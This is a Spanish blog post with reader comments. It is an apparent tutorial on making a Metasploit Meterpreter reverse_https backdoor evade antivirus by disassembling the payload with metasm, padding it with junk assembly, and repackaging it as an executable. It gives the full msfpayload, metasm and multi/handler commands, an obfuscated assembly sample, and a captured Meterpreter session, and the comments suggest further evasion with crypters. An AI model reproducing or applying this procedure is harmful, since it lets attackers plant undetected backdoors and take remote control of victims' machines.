Normalmente crear un backdoor con Metasploit es sinónimo de detección por parte de la mayoría de AV, incluso utilizando el encoder polimórfico shikata_ga_nai.
El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit.
El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.
En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:
1º Creamos el ejecutable malicioso en formato con msfpayload.
2º Preparamos metasm (http://metasm.cr0.org/)
3º Desensamblamos el fichero binario:
4º Ofuscamos manualmente el código,
desde esto:
y añadimos al principio del fichero:
5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:
6º Lanzamos la consola de Metasploit con el multi/handler:
7º Y finalmente ejecutamos carga.exe en el equipo Windows:
El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit.
El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.
En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:
1º Creamos el ejecutable malicioso en formato con msfpayload.
root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw root@bt:/home/pruebas# file binario.raw binario.raw: data
2º Preparamos metasm (http://metasm.cr0.org/)
root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2
3º Desensamblamos el fichero binario:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/disassemble.rb raw_binary > codigo.asm
4º Ofuscamos manualmente el código,
desde esto:
// Xrefs: 8dh loc_15h: mov esi, [edx+28h] ; @15h 8b7228 r4:unknown movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown xor edi, edi ; @1ch 31ffa esto:
// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
mov edi, ecx ; Move the contents of the ECX register into the EDI Register
push edi ; Push the EDI register onto the current stack frame
pop edi ; Pop it back off
mov edi, ecx ; Mov ECX back into edi
xor ecx, ecx ; Zero out the contents of the ECX register
mov ecx, edi ; Mov EDI back into ECX
xor edi, edi ; @1ch
y añadimos al principio del fichero:
.section '.text' rwx .entrypoint
5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe saved to file "carga.exe" root@bt:/home/pruebas# file carga.exe carga.exe: MS-DOS executable, MZ for MS-DOS
6º Lanzamos la consola de Metasploit con el multi/handler:
root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E [*] Please wait while we load the module tree... _ _ / \ / \ __ _ __ /_/ __ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ |- -| /\ / __\ | -__/ | | | | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | |_ \__/ | | | |_ |/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\ =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 927 exploits - 499 auxiliary - 151 post + -- --=[ 251 payloads - 28 encoders - 8 nops [-] The value specified for PAYLOAD is not valid. LHOST => 192.168.249.128 LPORT => 443 [*] Started reverse handler on 192.168.249.128:443 [*] Starting the payload handler...
7º Y finalmente ejecutamos carga.exe en el equipo Windows:
[*] Sending stage (752128 bytes) to 192.168.249.1 [*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500 meterpreter > getuid Server username: PANDORA\vmotos meterpreter >
Si le pones permisos de ejecución a la sección de código ya estás haciendo que salten algunos AVs
ResponderEliminarPerdón, era permisos de escritura
ResponderEliminarSaludos,
Nox.
Excelente articulo. Muy interesante :-)
ResponderEliminarbuen apunte @nox!
ResponderEliminarSi bien es cierto que para hacerlo FUD hay que usar un crypter con un stub cocinado o modificar el exe con olly/ida...
pd. no veo los feeds de tu blog: http://www.noxsoft.net/feed/ ¿funcionan?
excelente alticulo!! y me viene al pelo para un trabajillo...lo pobare ;D
ResponderEliminarme lo detectó el antivirus
ResponderEliminarme dice que no se puede abrir el archivo para escritura
ResponderEliminar